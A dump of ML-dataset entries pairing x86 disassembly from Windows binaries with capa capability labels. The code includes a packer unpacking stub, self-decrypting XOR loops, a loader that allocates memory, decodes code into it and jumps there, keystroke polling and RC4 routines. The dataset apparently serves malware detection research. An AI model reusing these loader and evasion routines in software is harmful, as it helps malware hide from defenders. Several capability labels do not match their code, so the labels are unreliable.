joyce8/EMBER2024-capa huggingface dataset:
Function at 0x552774
Capabilities:
Check for time delay via gettickcount
Query service status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0x38]
mov byte [ebp - 1], 0
xor ebx, ebx
mov eax, edi
xor ecx, ecx
mov edx, 0x1c
call fcn.00403b7c
xor eax, eax
mov dword [ebp - 0x10], eax
cmp byte [esi + 8], 0
je 0x55293e
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x5527ce
call sub.kernel32.dll_GetLastError_1
mov cl, 7
mov edx, eax
mov eax, esi
call fcn.00552068
jmp 0x55293e
push 0xf01ff
mov eax, dword [esi + 4]
call fcn.00405bcc
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x552803
call sub.kernel32.dll_GetLastError_1
mov cl, 8
mov edx, eax
mov eax, esi
call fcn.00552068
jmp 0x55293e
xor eax, eax
push ebp
push 0x552937
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x55ab88]
mov eax, dword [eax]
call fcn.0047bd68
mov eax, dword [ebp - 0x10]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00552708
test al, al
je 0x5528f7
push 0x7d0
call sub.kernel32.dll_Sleep_2
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_QueryServiceStatus
mov eax, dword [edi + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x1c], eax
call sub.kernel32.dll_GetTickCount_1
mov dword [ebp - 0x14], eax
jmp 0x5528da
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
jmp 0x552892
mov eax, dword [0x55ab88]
mov eax, dword [eax]
call fcn.0047bd68
push 0x3e8
call sub.kernel32.dll_Sleep_2
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_QueryServiceStatus
cmp dword [edi + 4], 4
jne 0x552892
mov bl, 1
jmp 0x55289e
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp eax, dword [edi + 0x18]
jb 0x552868
test bl, bl
jne 0x5528f7
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_QueryServiceStatus
mov eax, dword [edi + 0x14]
cmp eax, dword [ebp - 0x18]
jae 0x5528bc
mov eax, dword [edi + 4]
cmp eax, dword [ebp - 0x1c]
je 0x5528c0
xor ebx, ebx
jmp 0x5528c2
mov bl, 1
mov eax, dword [edi + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x55ab88]
mov eax, dword [eax]
call fcn.0047bd68
cmp dword [edi + 4], 4
je 0x5528f7
test bl, bl
jne 0x5528f7
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 0x14]
cmp eax, 0x1d4c0
jb 0x55285f
cmp dword [edi + 4], 4
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55293e
mov eax, dword [0x55ab88]
mov eax, dword [eax]
call fcn.0047bd68
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
mov eax, dword [0x55ab88]
mov eax, dword [eax]
call fcn.0047bd68
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x55294c
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
xor ebx, ebx
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x552996
mov eax, dword [esp + 0x10]
sub eax, 1
jb 0x552976
je 0x55297a
dec eax
je 0x55297e
jmp 0x552996
xor ebx, ebx
jmp 0x552996
xor ebx, ebx
jmp 0x552996
cmp dword [esp + 4], 5
jae 0x552989
mov bl, 1
jmp 0x552996
cmp dword [esp + 8], 1
jae 0x552994
mov bl, 1
jmp 0x552996
mov bl, 1
mov eax, ebx
add esp, 0x94
pop ebx
ret

Function at 0x415030
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.NUdqtLqT
lea edi, [esi - 0xc000]
push edi
or ebp, 0xffffffff
jmp 0x415052
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x415059
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x415048
mov eax, 1
add ebx, ebx
jne 0x41506b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x415060
jne 0x41507c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x415060
xor ecx, ecx
sub eax, 3
jb 0x415090
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x415102
mov ebp, eax
add ebx, ebx
jne 0x41509b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4150a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4150cc
inc ecx
add ebx, ebx
jne 0x4150b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4150ad
jne 0x4150c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4150ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4150ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4150dd
jmp 0x41504e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4150ec
add edi, ecx
jmp 0x41504e
pop esi
lea edi, [esi + 0x13000]
mov eax, dword [edi]
or eax, eax
je 0x41514b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x197d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19844]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x415109
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1984c]
or eax, eax
je 0x415145
mov dword [ebx], eax
add ebx, 4
jmp 0x415126
call dword [esi + 0x19848]
mov ebp, dword [esi + 0x19850]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41517f
sub esp, 0xffffff80
jmp section.dUKSqJnb

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x416ec0
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x426480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408d85
mov dword [ebp - 0x14], eax
cmp dword [0x8263e0], esi
jne 0x416fb3
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x416f40
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x417093
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x417093
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x417093
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x8263e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x8263e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x8263e8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x8263f0], eax
test eax, eax
je 0x416fb0
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x8263ec], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x416fd8
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x416fcb
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x416fed
push 4
pop eax
jmp 0x417095
cmp dword [ebp - 0x14], esi
je 0x416fed
push dword [0x8263e0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x416fd2
mov eax, dword [0x8263ec]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41704b
cmp dword [0x8263f0], edi
je 0x41704b
push eax
call ebx
push dword [0x8263f0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41704b
test eax, eax
je 0x41704b
call ecx
test eax, eax
je 0x417040
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x417040
test byte [ebp - 8], 1
jne 0x41704b
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41707b
mov eax, dword [0x8263e4]
cmp eax, edi
je 0x417078
push eax
call ebx
test eax, eax
je 0x417078
call eax
mov esi, eax
test esi, esi
je 0x417078
mov eax, dword [0x8263e8]
cmp eax, edi
je 0x417078
push eax
call ebx
test eax, eax
je 0x417078
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x8263e0]
call ebx
test eax, eax
je 0x417093
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x417095
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406fb0
mov esp, ebp
pop ebp
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x403e59
pop dword [ebp - 0x14]
mov eax, 0x403e59
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x36b8c138
sub dword [ebp - 0x24], 0xe8667bed
mov dword [ebp - 0x20], 0xe8f7a96b
add dword [ebp - 0x20], 0x493ba2da
mov dword [ebp - 0x1c], 0x4a71abe4
sub dword [ebp - 0x1c], 0xfe2567b6
mov dword [ebp - 0x18], 0x1fdd1fa5
add dword [ebp - 0x18], 0xe022e05b
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xb99a6baf
add dword [ebp - 0x24], 0xbad7fda7
mov dword [ebp - 0x20], 0x7b478067
sub dword [ebp - 0x20], 0x39db1ef2
mov dword [ebp - 0x1c], 0x7d5636c4
add dword [ebp - 0x1c], 0xe61935a8
mov dword [ebp - 0x18], 0x4396a16f
sub dword [ebp - 0x18], 0x4396a16f
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x36b79
push 0
call eax
mov ecx, 0x47e1
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x14]
mov edi, 0x1bb30999
add dword [ebp - 4], 0xc4852e40
mov esi, dword [ebx]
xor dword [ebp - 0xc], ebx
sub esi, edi
sub dword [ebp - 8], edi
mov dword [edx], esi
sub dword [ebp - 0x10], 0xf3e69ba0
add edx, 4
add ebx, 4
loop 0x403f5c
add eax, 0x11257
mov ebx, eax
add eax, 0x7a6e941d
sub eax, 0x7a6e9418
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4c11a0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x56d4bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0055f918
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4c1222
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0055d0bd
mov eax, dword [eax]
push 0x5e6e90
push eax
call fcn.0054eb34
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0055fba3
test bl, bl
je 0x4c1222
push 0x5e6e90
lea ecx, [esp + 0xc]
call fcn.0055ff7f
push 0x5e6e9c
lea ecx, [esp + 0xc]
call fcn.0055ff7f
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4c125e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0055fba3
jmp 0x4c1329
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4c12e2
lea edx, [esp + 0x7c]
push 0x5e6e98
push edx
call fcn.0054eb34
add esp, 8
test eax, eax
je 0x4c12e2
lea eax, [esp + 0x7c]
push 0x5e6e94
push eax
call fcn.0054eb34
add esp, 8
test eax, eax
je 0x4c12e2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4c1272
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0055fba3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4
Function at 0x4c1b30
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x56d53b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5faa08]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4c1c68
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4c1b96
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0055fba3
xor eax, eax
jmp 0x4c1cdf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0055fd2c
push esi
lea ecx, [esp + 0xc]
call fcn.0055ffbb
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x5e6ed0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4c1cbd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x5e6ec8
push closesocket
call fcn.00534350
test eax, eax
jne 0x4c1cbd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x5e6eb4
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00534350
test eax, eax
jne 0x4c1cbd
lea eax, [esp + 0x14]
push 0x5e6eac
push eax
call fcn.0054fd20
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c1c9c
lea ecx, [esp + 0x14]
push 0x5e6ea8
push ecx
call fcn.0054fca0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c1c9c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4c1c9f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0055fcdc
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4c1bae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0055fba3
xor eax, eax
jmp 0x4c1cdf
mov byte [esi], 0
push 0x5e6ea4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0055fba3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4d3650
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4d36be
cmp si, 0x69
ja 0x4d36be
add esi, 0xffd0
cmp si, 0x11
je 0x4d368e
push 0x11
call edi
test ax, ax
jge 0x4d368e
or esi, 0x2000
cmp si, 0x10
je 0x4d36a3
push 0x10
call edi
test ax, ax
jge 0x4d36a3
or esi, 0x4000
cmp si, 0x12
je 0x4d36b8
push 0x12
call edi
test ax, ax
jge 0x4d36b8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4d36cb
mov esi, 0xbd
jmp 0x4d367f
cmp si, 0x6e
jne 0x4d36d8
mov esi, 0xbe
jmp 0x4d367f
cmp si, 0x6f
jne 0x4d3679
mov esi, 0xbf
jmp 0x4d367f

Function at 0x4d5010
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x60ba58]
xor edx, edx
cmp eax, edx
jne 0x4d5036
xor eax, eax
mov byte [eax + 0x60b958], al
inc eax
cmp eax, 0x100
jl 0x4d501e
mov dword [0x60ba58], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x60b958
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4d50c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4d509a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4d5068
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4d5140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4d5193
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4d517a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4dc5d0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4dc768
cmp ebp, ebx
jle 0x4dc768
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x4dc62e
dec eax
or eax, 0xfffffff8
inc eax
je 0x4dc635
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4dc644
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4dc64b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0055f8e4
add esp, 4
cmp eax, ebx
je 0x4dc66c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0055f8e4
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4dc75e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4dc745
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4dc731
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4dc726
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4dc734
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4dc734
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4dc6d0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4dc6c1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4dfc30
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x56ec78
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4dfc69
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.005675bb
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00567643
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004dfcf0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00567680
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x4e4320
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x56f4a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.004e4ea0
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x4e43c9
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004e3fb0
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.0056676f
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.004f9400
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.005667e1
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14